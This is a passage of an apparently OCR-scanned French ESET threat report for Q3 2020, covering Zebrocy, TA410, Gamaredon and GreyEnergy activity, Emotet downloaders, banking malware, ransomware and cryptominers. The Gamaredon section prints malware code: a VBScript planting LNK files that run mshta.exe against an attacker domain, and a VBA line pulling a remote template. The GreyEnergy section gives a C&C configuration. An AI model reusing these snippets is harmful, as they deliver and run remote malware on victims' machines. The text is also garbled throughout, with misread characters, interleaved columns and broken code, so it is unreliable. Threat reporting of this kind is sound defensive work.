operateurs de contrdler entierement la machine de la victime.

Nous n’avons pas trouve beaucoup de similitudes avec les familles de malwares de Turla.

Les curieuses similitudes dans l'infrastructure reseau, bien gu'interessantes, ne sont pas
suffisantes pour attribuer NewPass a Dukes. C’est pourquoil nous considerons actuellement que
cette famille de malwares n’est pas attribuee.

Indicateurs de compromis [(IoC] [21]

Zebrocy (Sednit]) Exclusivite

Le groupe Sednit, egalement appele APT28, Fancy Bear, Sofacy et STRONTIUM,
opere depuis au moins 2004, et serait a l'origine d’attaques majeures

tres médiatisées. Il dispose d’'un ensemble diversifie de malwares dans son
arsenal, dont Zebrocy. Les cibles de Zebrocy comprennent des ambassades,
des ministeres des affaires etrangeres et des diplomates, principalement en
Asie centrale, en Europe et au Moyen-0Orient.

Les telechargeurs Zebrocy en langage Nim sont toujours
utilises en Q3 2020

Dans le precedent rapport trimestriel, nous avons decrit une legere resurgence des
déeploiements de Zebrocy apres une periode d'ihactivite. Durant Q3, le groupe a poursuivi ce
faible niveau d’activite, en deployant gquelques nouvelles campagnes, selon notre telemetrie.
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En aolt, un echantillon qui faisait partie d’'une campagne utilisant l'evenement de 1l'atelier
de recherche AUT-355 de 1I’'OTAN comme appat a eté repéreé sur UirusTotal (hom de fichier :
AUT_355_Call_for_Participation]. L'opérateur de Zebrocy s’est inspire de cet événement [30] pour

attirer ses victimes et diffuser un de leurs telechargeurs ecrit en langage Nim. Ce langage
n'est pas nouveau pour le groupe. La derniere campagne impliquant le telechargeur en Nim
remonte a la fin de 2019 et nous 1’avons mentionneé ici [31]. Cette campagne est similaire au
mode operatoire habituel du groupe : un email d’hameconnage avec une archive en piece jointe.
En leurrant la victime pour gu’elle s’attende a un document anodin, les pirates fournissent un
executable avec une icdne POF, mais qui est en fait un telechargeur malveillant menant a une

potentielle porte derobee comme etape finale.

Indicateurs de compromis [(IoC] [21]

TA410 Exclusivite

TA410 est un groupe parraine par un Etat qul cible le secteur des services
publics americains depuis 2019, et qui a ete signale pour la premiere
fois par Proofpoint [32] en aoGt 2019. Ses principaux TTP comprennent

I’envoi d’emails d’hameconnage avec des documents contenant des macros

malveillantes, et l'utilisation des portes déerobees personnalisees LookBack
et FlowCloud [33].

TA410 etend ses activites

En Jjuillet 2020, nous avons ete temoins d'une activite suspecte au sein d'une organisation
diplomatique au Moyen-0rient et avons pu l'attribuer a TA410. Ce ciblage semble tres different
de ce qui a ete signale auparavant, et pourrait étre le signe d’'un changement dans les
obJjectifs du groupe.

Les pirates ont vraisemblablement exploite un serveur Internet utilisant une version obsolete
et vulnerable de Microsoft SharePoint. Elle leur permettait d’heberger des malwares et prendre
le contrdle de la machine. Les operateurs y ont deploye differents outils et malwares :

= Une nouvelle variante de la porte dérobée LookBack (egalement connue sous le nom de
SodomNormal], configurée pour communiquer directement avec une adresse IP codée en dur

m WMIExec [34], un outil utilisé pour le déplacement latéral

m Plusieurs variantes de HTran [35] (également appelé HUC Packet Transmitter), un outil utilise
pour mettre en place un proxy entre une machine compromise et le serveur des pirates

= Une porte derobee actuellement non documentee, stockee de maniere chiffree dans la base
de registre Windows, qui tente de se fondre dans le trafic reseau en utilisant une fausse
valeur d’'en-téte HTTP <« Host », onedrive.live.com, lors de la connexion au serveur des
pirates

L’activiteé s’est poursuivie en aolt 2020 avec le ciblage d’'une ambassade d’un pays d’Afrigque

de 1'Ouest. Bien que le vecteur de compromis soit actuellement inconnu, nous avons trouve une
variante essentiellement identique a la porte derobee LookBack mentionnéee precedemment.

Ces deux cas montrent un changement dans les activites de TA410 avec un focus sur des
ministeres des affaires etrangeres et des organisations diplomatiques au cours des derniers
mois. Le groupe ne se contente egalement plus d’envoyer des emails d’hameconnage. I1 exploite
probablement aussi des applications non corrigees sur les serveurs de ses cibles.

Groupe Gamaredon Exclusivite

Le groupe Gamaredon est actif depuis au moins 2013, avec un certain nombre
d’attaques a son actif, principalement contre des institutions ukrainiennes.

Gamaredon : un deluge de chevaux de Troie

Le groupe Gamaredon a ete tres actif au cours de R3 2020, poursuivant son ciblage incessant
d’organisations gouvernementales en Ukraine. Depuis l'article publié en Q2 2020 [36] d’ESET sur

Gamaredon, le groupe a reactualise son arsenal de malwares. Nous decrivons ici les derniers
efforts deployes par le groupe pour transformer en chevaux de Troie des documents, des
archives et des executables legitimes trouves dans les reseaux compromis.

Le module d’injection de macro et le module UBA pour Outlook facilitent les mouvements
latéeraux dans une entreprise, en compromettant des ressources legitimes. Le premier injecte
automatiquement des macros malveillantes ou des references a des modeles a distance dans
des documents accessibles depuis le systeme compromis. Le second remplace le projet UBA par
defaut d’Outlook pour envoyer automatiquement des emails malveillants a des cibles choisies.

Le groupe Gamaredon est activement creatif et a ajoute trois modules a son arsenal, tous
facilitant davantage le mouvement lateral. Le premier est diffuse sous la forme d'une archive
auto-extractible contenant des fichiers BAT et UBS, l'un des tandems preferes de Gamaredon.
Ce module cree une tache planifiee qui s’execute toutes les neuf minutes, a la recherche de
lecteurs amovibles ou de lecteurs reseau. En cas de decouverte d'un lecteur, il y place un
fichier LNK dans le repertoire racine avec un hom code en dur, tel que « FILES.Ink », dans
l’espoir que quelgu’un l'ouvrira. Ces fichiers LNK appellent « mshta.exe » pour telecharger et
executer un fichier distant.

If {ZKZUhtECXPB _.DriveType = 1 or ZkZuhtECKPB _DriveType = 3} And ZKZuhtECXPB_IsReady Then
set OKImICHtFjU = WScript.Createlbject{"WScript.Shell™ }

set CbnugbwInJe = OKImICHtFjU.CreateShortcut{ySKyEBZHfgr+" %"+ "FILES .1nk"})

CbnugbwInJe _TargetPath = "3WIHDIRZLSystem32ymshta. exe™

CbnugbwInJe _Arguments = "http://fvirginiana.space/index _html /F"

CbnugbwInJe _WindowStyle = 1

CbnugbwIndJde .IconLocation = "%WindirZisystem32%SHELL32.d11, 126"

CbnugbwInJe _Description = "Shortcut Script”

CbnugbwInJe _WorkingDirectory = "3WIHDIR%ZLWSystem32y™

CbhbnvgbwInde _5ave

UBScript de création de fichiers LNK
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https://events.sto.nato.int/index.php/upcoming-events/event-list/event/26-cfp/315-call-for-participation-avt-355-research-workshop-rws-on-intelligent-solutions-for-improved-mission-readiness-of-military-uxvs
https://www.welivesecurity.com/2019/09/24/no-summer-vacations-zebrocy/
https://github.com/eset/malware-ioc/tree/master/quarterly_reports/2020_Q3
https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks
https://www.proofpoint.com/us/blog/threat-insight/ta410-group-behind-lookback-attacks-against-us-utilities-sector-returns-new
https://github.com/Twi1ight/AD-Pentest-Script/blob/master/wmiexec.vbs
https://cyber.gc.ca/en/guidance/c2-obfuscation-tools-htran
https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/

Le second module est similaire au precedent, mais avec une petite variante. Utilisant a la fois
des scripts BAT et UBS, i1l injecte des macros malveillantes dans des documents existants, et 1l

remplace egalement les modeles Microsoft Word « Normal.dotm » et « NormalEmail.dotm » par
un modele contenant un projet UBA malveillant avec du code qui ajoute automatiguement au
document actif une reférence a un modele distant. Comme le modele « Normal.dotm » s’ouure
chaque fois que vous demarrez Word, cela signifie que Word essaiera de telecharger ce modele
a distance chague fois gque vous ouvrirez un document.

Set ByByyfGBHY = Hothing
ActiveDocument .AttachedTemplate = “http:/fcalamusi.xyz/"" + MACAddress + "/bin/log/fACYWJHTD .dot™
End Sub

Code de projet UBA d’ajout d’un modele a distance au document actif

Le troisieme module est une archive auto-extractible contenant des scripts d’analyse des
systémes compromis (lecteurs locaux et mappes) a la recherche d’archives et d’exécutables
portant des noms de fichiers specifiques, pour les modifier. Uoici des exemples de noms
recherches : xinstallx, xsetup*, *xdriv*, xusbh*, *xword*, xofficex*, xwin* et *rarx.

Ce module utilise 7z pour ajouter un cheval de Troie dans les archives et les executables.
Pour les archives, il ajoute simplement un telechargeur UBS malveillant, en esperant que la
victime l'execute manuellement. Pour les executables, il cree une archive 7z auto-extractible
valide avec le méme nom, et contenant a la fois l'executable d’origine et un telechargeur UBS
malveillant. Le fichier de configuration integre a la nouvelle archive assure la decompression
et I'execution des deux elements lorsque l'archive est executee.

Ces nouveaux outils ne sont pas sophistigues, mais ils demontrent clairement que ses
operateurs sont capables de trouver des solutions creatives pour s’infiltrer encore plus loin
dans les reseaux cibles, et creer toutes sortes de tracas pour les defenseurs.

Indicateurs de compromis [(IoC] [21]

Groupe GreyEnergy Exclusivite

Le groupe GreyEnergy, actif depuis 2015, a ete identifie par ESET en 2018

[37] comme étant le successeur de BlackEnergy. Il s’intéresse surtout aux
reseaux industriels de différentes entreprises d’infrastructures critiques.
En decembre 2016, le groupe a deploye un ver d’effacement de donnees
que les chercheurs Jd’ESET estiment étre un préedecesseur de NotPetuya.

Ses fonctionnalites sont actualisees par GreyEnergy

En 2020, nous avons detecte une activite de GreyEnergy dans le secteur de 1’énergie en Asie

occidentale. Le groupe n’a pas modifie ses TTP de maniere significative, continuant de deployer

son malware GreykEnergy sur des serveurs Windows et des postes de travail importants, et son

malware PHP sur des serveurs web internes.

Nous avons detecte un echantillon de GreyEnergy deploye, comme d’habitude, sous forme de DLL
de service Windows, avec la configuration suivante :

Content-Type: multipart/form-data;
boundary="----= NextPart 966 011 @1D5DC2F.DDe42E3e"
X-MimeOLE:

This is a multi-part message in MIME format.

—————— = NextPart 966 8811 81D5DC2F.DDe42E38

Content-Type: text/plain;
charset="iso-8859-1"

Content-Transfer-Encoding: 7bit

—————— = NextPart 866 8011 61D5DCZF.DDB42E38

Content-Type: text/plain;
charset="is0-8859-1"

Content-Transfer-Encoding: 7bit

Type: F
F1: 58
F4: 7

F2: 30
Al: 428

—————— = NextPart 860 0011 61D5DCZF.DDB42E38

Content-Type: text/plain;
charset="iso-8859-1"

Content-Transfer-Encoding: basebfd

Type: D

D3: 1

aHRBcHMEL y8x0DUUMTUZL JESNi45NCOVCGRhdGVTZXI2aWN1lcy9DRg==
—————— = NextPart 6668 8811 81D5DCZ2F.DDe42E36- -

Configuration extraite de GreyEnergy (1'ID de campagne est expurgé)

Comme vous pouvez le voir, la valeur Al, qui représente la version de GreyEnergy, est 420 (les
echantillons précedents détectés en 2018 étaient la version 336). Cela suggere que les auteurs
continuent de developper et d’ameliorer la porte derobee GreyEnergy. La signification des
autres élements de configuration est décrite [38] dans notre livre blanc sur GreykEnergy.

Cet echantillon possede 1'URL de C&C suivante :

https://185.153.196[.]194/UpdateServices/CF

Indicateurs de compromis [(IoC] [21]
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https://www.welivesecurity.com/2018/10/17/greyenergy-updated-arsenal-dangerous-threat-actors/
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Le paysage des menaces de Q3 2020
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Taux de detection des malwares pour R3 2020
UBA/TrojanDownloader.Agent 34,1 %
HTML/Fraud 5,3 %
DOC/Fraud 5,3 %
JS/Agent 52 %
Win/Exploit.CUE-2017-11882 4,5 %
DOC/TrojanDownloader.Agent 3,1 %
PDF/Phishing 3,0 %
JS/Danger.DoubleExtension A
JS/Spy.Banker 2,2 %

PDF/Fraud . 2,0 %

Les 10 malwares principalement détectés en R3 2020 (% des détections de malwares)
Echantillon de données : France
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Top 10 des malwares detectes

Cette detection couure generalement les fichiers Microsoft Office malveillants qui tentent
de manipuler des victimes potentielles afin d’exéecuter une macro malveillante. La macro
malveillante intégree télécharge et execute géneralement des malwares supplementaires. Les
documents malveillants sont generalement envoyes sous forme de pieces joinhtes a unh email, et
déguises en informations importantes pour le destinataire.

Cette detection porte sur des malwares utilisant des fichiers de raccourci LNK de Windows
pour executer d’autres fichiers sur le systeme. Les fichiers de raccourcis gagnent en
popularité aupres des pirates, car ils sont generalement consideres comme etant anodins

et moins susceptibles de susciter des soupcons. Les fichiers LNK/Agent ne contiennent pas

de code malveillant et font generalement partie d’autres malwares plus complexes. Ils sont
souvent utilises pour rendre les principaux fichiers malveillants persistants sur le systeme ou
comme etape du vecteur d’infection.

Cette catéegorie désigne des documents spéecialement concus pour exploiter la vulnéerabiliteée
CUE-2017-11882 [39] de 1'éditeur d’égquations de Microsoft, un composant de Microsoft Office. Le
code malveillant est accessible au public et est generalement utilisé comme premiere etape de

l'infection. Lorsque l'utilisateur ouvre le document malveillant, l’'exploitation est declenchee
et son shellcode est execute. Des malwares suppléementaires sont ensuite telecharges sur
l'ordinateur pour effectuer des actions malveillantes arbitraires.

Cette detection couvre differents types de contenus frauduleux en HTML, diffuses dans le but
de gagner de l'argent ou de realiser des profits grace a l'implication de la victime. Cela inclut
des sites web d’escroquerie, ainsi que des emails HMTL et des pieces jointes. Uia un tel email,
les destinataires peuvent étre amenes a croire qu’ils ont gagne un prix a une loterie et sont
alors inviteées a fournir des informations personnelles. La fraude par avance de fonds [40] est

un autre cas courant, notamment la tristement celebre escroquerie du Prince nigerian alias
<« escroquerie 419 »».

Cette classification represente les documents Microsoft Word malveillants qui telechargent
d’autres malwares depuis Internet. Les documents sont souvent deguises en factures,
formulaires, documents Juridigues ou autres informations apparemment importantes. Ils

peuvent utiliser des macros malveillantes, des objets Packager (ou autres] intégrés, ou
méme servir de leurre pour detourner l'attention du destinataire pendant que le malware est
telecharge en arriere-plan.

Cette detection couure principalement les documents Microsoft Word comportant differents
types de contenus frauduleux diffuses par email. Le but de cette menace est d'impliquer la
victime, par exemple, en la persuadant de divulguer en ligne les identifiants de son compte ou
des donnees sensibles. Les destinataires peuvent étre amenes a croire qu’ils ont gagne un prix
a la loterie ou gqu’on leur propose un prét tres avantageux. Les documents contiennent souvent
des liens vers des sites web gui invitent les victimes a fournir des informations personnelles.

Cette detection couvre le code HTML malveillant souvent utilise dans une piece jointe d’email
d’hameconnage. Lorsqu’une telle piece jointe est ouverte, un site d’hameconnage est ouvert
dans le navigateur web, se faisant passer pour le site officiel d’'une banque, d'un service de
paiement ou d’'un reseau social. Le site web demande des informations d’identification ou
d’autres informations sensibles, qui sont ensuite envoyees au pirate.

Cette categorie couvre differents fichiers JavaScript malveillants, qui sont souvent obscurcis
pour echapper aux detections statiques. Ils sont generalement héberges sur des sites web
compromis mais par ailleurs legitimes, afin gu’il puissent étre automatiquement telecharges
par des visiteurs qui consultent les sites.

Cette détection couvre les outils attribués a I’Agence de sécurité nationale des Etats-Unis
(NSA)J, qui ont éteée rendus publics par le groupe de pirates Shadow Brokers. Depuis la fuite,
ces outils sont largement utilises par les cybercriminels. La detection inclut egalement les
malwares derives de ces outils ou les menaces utilisant les mémes techniques.

Cette classification represente des fichiers POF comportant differents types de contenus
frauduleux diffuses par email. Comme pour DOC/Fraud, le but de cette menace est d’impliquer la
victime, par exemple en la persuadant de divulguer des identifiants ou des donnees sensibles.
Les destinataires peuvent étre amenes a croire qu’ils ont gagne un prix a la loterie ou qu’on
leur propose un prét avantageux. Les documents contiennent souvent des liens vers des sites
web qui invitent les victimes a fournir des informations personnelles.


https://nvd.nist.gov/vuln/detail/CVE-2017-11882
https://en.wikipedia.org/wiki/Advance-fee_scam

Telechargeurs

Les detections de UBA liees a Emotet dominent la scene des téelechargeurs, reactivant ainsi cette categorie.

Apres deux trimestres consecutifs de baisse, les telechargeurs sont revenus en force

durant Q3, avec une croissance de pres de 55 %. VBA

: L , - . 79 % DOC
Une petite campagne Nemucod a ete une observee au cours des deux premieres semaines
de R3, principalement contre des clients uniques en Pologne, au Japon et en Republique JS
tcheque. Cependant, les tentatives d’attaques reelles rapportees par ces clients suggerent _
que la principale cible de la campagne etait le Japon, avec des taux de detection par mWin
client pres de quatre fois plus eleve qu’en Pologne et deux fois plus eleve qu’en Republique mUBS
tcheque.

PS

Le plus grand contributeur a la croissance de la catégorie des telechargeurs etait UBA/
TrojanDownloader.Agent. Ses detections dominaient deja le classement des telechargeurs MSIL
en Q2, représentant plus d’'un tiers de toutes les detections de teléchargeurs (36 %]. Mais WMA
Q3 a vu un bond massif de 60 % des fichiers UBA detectes, ce qui signifie que ce type de
détection occupe pres des deux tiers (64 %). Autre

Proportion de déetections de télechargeurs par type de detection durant R3 2020
Echantillon de données : France

Les autres types de detection dans le classement ont pour la plupart maintenu leur place, bien
qu’avec une part globale nettement plus faible. La proportion de detections de DOC est passee

de 21 % en Q2 a moins de 10 % en Q3. Une tendance similaire a ete observee pour les detections
JS, qui sont passees de 13 % (Q2) a 7 % (R3], suivies des détections Win, qui sont passees de

11 % a moins de 6 % d’'un trimestre a l'autre. Enfin, le nombre de telechargeurs de UBS est passe
de 8 % a moins de 5 %.

Le principal moteur de 1'augmentation massive des detections UBA a ete Emotet et son activite
renouvelée en Q3. Cette célebre souche de malwares a interrompu ses activités au debut de
l’annee, pour reprendre dans les derniers jours de Jjuillet apres une pause de cing mois. Le lien
entre les detections Emotet et UBA est clairement visible dans leurs tendances de detection,
ou les deux suivent une trajectoire presque identique.

La periode d’'inactivite d’Emotet n'est pas la premiere depuis sa creation. En 2019, ses activites
ont stoppe au milieu de 1'annee pour recommencer en septembre, juste a temps pour la saison
des achats de Noél. L'interruption de cette annee a ete un peu plus longue, puisqgu’elle a

_ . - N ' commence en feurier pour se terminer fin Jjuillet. Comme Emotet n’a pas ete actif pendant les
1 avr. 2020 1 mai 2020 1 juin 2020 1 Jjuil. 2020 1 aout 2020 1 sept. 2020 _ _ _ R _ : -
six premiers mois de la pandémie, il n'’est pas surprenant gque sa premiere vague [41] de spam
Tendance de détection des téléchargeurs en R2 et Q3 2020, en moyenne mobile sur sept jours contre des entreprises americaines en aolt ait utilise COUID-19 comme theme de ses messages.

Echantillon de données : France
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https://www.bleepingcomputer.com/news/security/emotet-malware-strikes-us-businesses-with-covid-19-spam/

Téléchargeurs UBA Emotet Les operateurs d’Emotet utilisent egalement un nouveau type de modele pour leurs pieces

Jjointes, appelé Red Dawn [43]. Il s’agissait genéralement de documents Word compromis portant

un en-téte Office 365 noir, affirmant avoir ete crees sur un appareil i0S, et manipulant les
victimes pour gu’elles activent des macros malveillantes. Le 25 aolt, Emotet a mis a jour ce
modele avec un en-téte Office 365 rouge et le logo Microsoft, et a abandonne la tactique d’i0S
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Pendant que le monde a poursuivi ses efforts durant Q3 pour trouver un vaccin contre
le coronavirus, les chercheurs de Binary Defense [42] ont publié des informations sur un

«« vaccin » qu’ils ont developpe contre Emotet. Les experts ont exploite un debordement de
memoire tampon trouve dans le processus d’'installation du malware et ont creée un utilitaire
gui provoque le crash du malware, empéchant ainsi son fonctionnement. Cet utilitaire a ete
distribue silencieusement via les CERT et la communaute infosec pendant 182 jours jusqu’a ce
qu’il soit contourne par les operateurs d’Emotet, qui ont localise et corrige la faille, et ont
repris leurs activites malveillantes en Jjuillet 2020.

Le nouveau modele de piece jointe « Red Dawn »» d’Emotet (source de l'image : BleepingComputer.com [44]]

Il est interessant d’observerla frequence accrue des mises a_jour du code du telechargeur
depuis le retour d’Emotet. Avant la pause de fevrier-juillet, les operateurs actualisaient
le binaire une ou deux fois par mois. Apres la pause, le nhombre de changements a

Un autre modele recemment observé [45] comportait un logo Windows 10 Mobile, ce qui n'est

pas a l’'avantage des pirates car ce systeme d’'exploitation a ete abandonné par Microsoft
en janvier 2020. Ce pourrait donc éveiller des soupcons méme aupres d’utilisateurs moins

double et est egalement devenu plus regulier,environ une fois par semaine.

qualifies.
Zoltan Rusnak, Malware Analyst chez ESET
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https://www.binarydefense.com/emocrash-exploiting-a-vulnerability-in-emotet-malware-for-defense/
https://twitter.com/pollo290987/status/1312186676739932160?s=20
https://twitter.com/Cryptolaemus1/status/1300662754030825472?s=20
https://www.bleepingcomputer.com/news/security/emotet-malwares-new-red-dawn-attachment-is-just-as-dangerous/

Malwares bancaires
Rbot a remplaceé TrickBot en tant que malware diffuse par Emotet, malgre le declin continu du volume des malwares bancaires.

Les malwares bancaires ont lentement perdu de la vitesse depuis le debut de Q2 et ont JS/Spy.Banker trojan 86,2 %
poursuivi leur tendance a la bhaisse en R3. Le nombre total de detections de malwares bancaires

a diminue d’environ 16 % sans aucun pic notable ni baisse significative. Win/@bot backdoor 5,3 %

Le Top 10 a eté remanié en Q3, mais la famille dominante reste JS/Spy.Banker, une detection Win/Spy.Danabot trojan 4,5 %
Ul couvre un ensemble de scripts malveillants concus pour voler les details des cartes

. _ e P . ) see B . R MSIL/ClipBanker trojan § 1,1 %

bancaires des victimes et autres informations personnelles. Son avance n'a ete que legerement

reduite, passant de 63 % en Q2 a 59 % en Q3. Le nouveau venu le plus marquant dans le haut du Win/Spy.Zbot trojan 1,0 %

classement est la famille @bot, qui a connu une croissance de 108 % en Q3. Cette augmentation y .
. : , , ) , Win/Ti kebot t j 0,7 %
est probablement liee au fait gque Qbot est devenu l'un des malwares frequemment installes par HN/TANUKERD roJan
le télechargeur Emotet. Win/Spu.Banker trojan | 0,3 %

La télemetrie d’'ESET a confirme cette « rivalite ». Jusqu’a la fin de R2, TrickBot a maintenu un Win/TrickBot trojan | 0,2 %
taux de detection constant, avec des periodes de calme occasionnelles ainsi que des baisses
et des pics de detection. Toutefois, apres la reprise des activités d’Emotet en juillet [46], ces
chiffres ont commence a se reduire progressivement pour étre depasses par Rbot a la mi-aolt. Win/Tinba trojan | 0.1 %

Win/ClipBanker trojan | 0,2 %

TrickBot a cléture Q3 par une baisse de 20 % du volume global de detection, mais, en raison de

la baisse générale de la catégorie, il a réussi a passer de la huitiéme & la sixieme place dans Les 10 principales familles de malwares bancaires en R3 2020 (% de détections de malwares bancaires)

. . . . e 1 Echantillon de données : France
le classement des dix premiers, avec Rbot septieme, juste derriere.

—=TrickBot -—Qbot

8¢ s
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Tendaonce de détection des malwares bancaires en R2 et R3 2020, moyenne mobile sur sept jours Tendances de detection de TrickBot et de Rbot en R2 et R3 2020, moyenne mobile sur sept jours

Echantillon de données : France Echantillon de données : Monde
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Ransomwares

Les incidents de ransomwares sont directement lies a des victimes, alors que de nouveaqux acteurs tentent de rejoindre les rangs des gangs de <« doxing »».

La telemetrie d’ESET montre une baisse de pres de 20 % de l'activite des ransomwares en Q3.
Il s’agit principalement de familles diffusees par des campagnes d’emailing de masse et d’un
nombre limite d’attaques cibléees contre des connexions RDP mal configurees. Le cas le plus
frappant a eté noté en France, avec Trojan.MSIL/Filecoder.ABC. Sur la base d’informations
accessibles au public [47], ’'attaque a éte baptisée JobCrypter. Elle utilisait un executable

« succeeded.exe » deguise en demande d’emploi ou en CU de candidature.

Dans les 10 principales familles detectées par la téléemetrie d’ESET, le ver Win/Filecoder.
WannaCryptor est en téte de la categorie avec plus de 52 % des detections. Comme
préecedemment, ces detections ainsi que celles de Win/Filecoder.GandCrab, etaient liées a
des hachages connus qui continuaient de se repandre dans des reseaux non corriges sur des
marches moins developpes.

La famille Win/Filecoder.Crysis se classe en second avec 6,6 %, suivie de Win/Filecoder.Phobos
avec 4,7 % des detections. Win/Filecoder.Avaddon a rejoint le haut du classement en R3,
notamment en raison d’'une campagne Nemucod [48] au Japon en Q2. Des signalements montrent

egalement que Q3 a permis a Avaddon de remonter dans le classement, puisque le gang a
commence a publier les donnees volees des victimes sur un site nouvellement lance.

1 avr. 2020 1 mai 2020 1 juin 2020 1 juil. 2020 1 aolGt 2020 1 sept. 2020

Tendaonce de la detection des ransomwares en RZ2 et R3 2020, moyenne mobile sur sept jours
Echantillon de données : France

Win/Filecoder.Crysis trojan 18,9 %
Win/Filecoder.Phobos trojan 13,5 %

Win/Filecoder.Sodinokibi trojan 8,1 %

Win/Filecoder.Locky trojan 6,8 %

Win/Filecoder.WannaCryptor trojan 6,1 %

Win/Filecoder.Buran trojan 4,7 %

Win/Filecoder.Cerber trojan 4,7 %

Win/Filecoder.GandCrab trojan 4,7 %
Win/Filecoder.Avaddon trojan 4,1 %

Win/Filecoder.Lockbit trojan _ 3,4 %

Les 10 principales familles de ransomwares en R3 2020 (% de détections de ransomwares)
Echantillon de données : France

Le gang Maze, pionnier de cette tactique de « doxing », s’est classe en douzieme position
en Q3. Si I'on ajoute a cela les detections d’'autres membres de son « cartel », LockBit et
RagnarLocker, la famille a gravi les echelons jusqu’a la neuvieme place.

La coopeération entre les différents groupes a eté démontre par Maze [49], qui a emprunte
l’approche furtive de RagnarlLocker et le chiffrement des donnees des victimes dans une

machine virtuelle. La principale difféerence etait que Maze utilisait une machine virtuelle
Windows 7 beaucoup plus spacieuse au lieu d’'une UM Windows ®XP typique pour RagnarLocker.

Durant Q3, le nouveau membre SunCrypt a rejoint le groupe Maze. La telemetrie d’'ESET detecte
cette famille en tant que cheval de Troie PowerShell/Kruptik.AX, et Win32/Filecoder.0DM. Ses
operateurs ont ajoute une nouvelle technique d’attagque DDoS contre les sites web des victimes
pour les obliger a reprendre les negociations.

Le gang Sodinokibi/REvil a recruté des affiliés [50] durant ce trimestre. Pour demontrer la

rentabilite de leur systeme de ransomware sous forme de service, les operateurs ont depose
pres d’'un million de dollars en bitcoin sur leur compte. Ces fonds sont visibles par les autres
membres de ce forum clandestin, et peuvent étre utilises pour echanger des services illicites
ou des donneéees volees.
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Les opérateurs de SunCrypt ont une nouvelle tactique d’attaque DDoS contre le site web de leur victime

La baisse observée des attaques massives de ransomwares peut étre attribuée a la
reussite des attaques cibléees combinées a d’autres tactiques, hotamment « doxing »»
ou attaques DDoS contre les sites web des victimes. Le déepdét de 99 BTC par Sodinokibi

sur un forum russophone du dark web montre 1'attrait financier de ce modeéle.

Igor Kabina, Senior Detection Engineer chez ESET

Parmi les autres acteurs de haut niveau qui cherchent a se faire une place dans le milieu des
ransomwares :

m Conti. Cette famille remplacerait Byuk, une famille de ransomwares bien connue souvent
consideree comme le dernier maillon des chalnes d’'infection Emotet et TrickBot. Conti
utilise son propre site pour publier des informations sensibles volees.

» Groupe 0ldGremlin (utilisant le ransomware TinyCryptor]). Ce groupe de cybercriminels a éteé
identifié par Group-IB [51] comme l'auteur de plusieurs attaques avec demande de rancon

contre des entreprises en Russie et dans les pays de l'ex-Union sovietique.

Q3 a egalement apporte une nouvelle preuve de la competence technigque des auteurs
de ransomwares. Comme deécrit dans cet article de SenseCly [52], les opérateurs de CLOP,

DoppelPaumer, le cartel Maze, Nephilim et Sodinokibi ont exploite des vulnerabilites recemment
publiees dans des appliances d’acces a distance de Citrix et des produits de Pulse Secure. Dans
certains de ces cas, les incidents se sont produits avant méme que les fabricants n'aient eu la
possibilité de publier des correctifs pour leurs logiciels/matériels.

Un examen plus approfondi des quatre vulnerabilites nommees dans l'article, CUE-2019-19781,
CUE-2019-11510, CUE-2012-0158 et CUE-2018-8453, indigque que les vulnerabilites de 2012 et 2018
n'ont ete exploitees qu’a un nombre tres limite d’occasions.

—CUE-2019-11510 (axe gauche) CUE-2012-0158 (axe droit) —CUE-2018-8453 (axe droit)
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Tendances des clients uniques signhalant des tentatives d’attagque sur des vulnerabilites connues exploitees

par des familles de ransomwares de haut niveau en 2 et R3 2020, moyenne mobile sur sept jours
Echantillon de données : Monde

CUE-2019-19781 affecte les appliances Citrix. Comme ces appareils proprietaires n'utilisent
pas de produits de securite du commerce, les tentatives d’exploitation de cette vulnerabilite
ne seront pas ou peu documenteées. Pulse Secure Connect (CUE-2019-11510) est la seule

des quatre vulnerabilites que la telemetrie d’ESET a detectee comme etant la « plus
couramment utilisee » par les cybercriminels. Des centaines de clients uniques ont rapporte
quotidiennement des tentatives d’exploitation de cette vulnerabilite.

Cependant, les quatre failles, y compris CUE-2019-11510, peuvent étre considerees comme des
vecteurs mineurs si on les compare au volume des attagques par force brute contre ROP, ou aux
chiffres de detection observes pour EternalBlue et BlueKeep.

Néeanmoins, une attaque [53] reussie, exploitant la vulnérabilite de Citrix (CUE-2019-19781)

et assortie d’'une demande de rancon, a entrainé un deces chez la victime. En raison du
chiffrement des systémes de 1’hdpital universitaire de Dusseldorf (UKD] en Allemagne, une
patiente dont le pronostic vital etait engage a dU étre redirigee vers un autre etablissement,
ce qui a finalement entraine son deces. Lorsque les services de police ont reclasse 1’affaire
en tant gu’homicide [54], en expliquant gu’un hdpital avait été touché, le gang a fourni des

cles de dechiffrement. Q3 a egalement ete marque par l'une des plus importantes attaques de

ransomware [55], lorsque Ryuk a chiffreé les systemes informatiques de centaines de sites de

services de sante d’UHS aux Etats-Unis.
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Extracteurs de cryptomonnaie

Le declin a long terme de l'activite des extracteurs de cryptomonnaie s’est stabilise durant 3 2020 avec la montee en fleche du prix du bitcoin.

Apres un declin global a long terme, les detections des extracteurs de cryptomonnaie semblent Quant aux chevaux de Troie d’extraction de cryptomonnaie versus programmes potentiellement
s’étre stabilisees en Q3 2020. Le trimestre lui-méme affiche une legere tendance a la hausse. indesirables, ou extracteurs integres a des applications plutdt gu’au navigateur, le paysage
Alors que Q2 et @3 ont vu une baisse d’au moins 20 % du nombre total de detections par est resteé pratiquement inchangeé en Q3, sauf pour une légere augmentation de JS/CoinMiner.

rapport au trimestre precedent, ce chiffre n'etait que de 7 % en Q3.
Les chercheurs d’ESET ont decouvert en septembre 2020 un interessant malware ciblant

Les nhiveaux de detection ont ete stables en Jjuillet et en aolt, et ont légerement augmente des cryptomonnaies, qu’ils ont nomme KryptoCibule [57]. Il se distingue par ses tactiques

en septembre, atteignant presque les valeurs maximales de Q2. Le hombre moyen de detections d’'utilisation des ressources de la victime pour l'extraction, le detournement des transactions
en septembre etait superieur de 11 % a la moyenne de Q3, et superieur de 2 % a la moyenne par remplacement des adresses des portefeuilles dans le presse-papiers, et 1'exfiltration des
de Q2. Selon la telemetrie d’ESET, ’'augmentation est liee a une variante du programme fichiers lies aux cryptomonnaies.

potentiellement indésirable JS/CoinMiner qui est apparue a la mi-aolt.

Quant a la stabilisation generale des detections en R3, elle pourrait étre liee a l'evolution

L’augmentation du prix du bitcoin signifie que l’extraction devient plus rentable,
ce qui attire egalement les cybercriminels. Cependant, malgre la legere hausse des
detections observee ce trimestre, il est peu probable que ce type de menace fasse un

du prix du bitcoin au cours des derniers mois. Le prix a commence a augmenter fortement fin
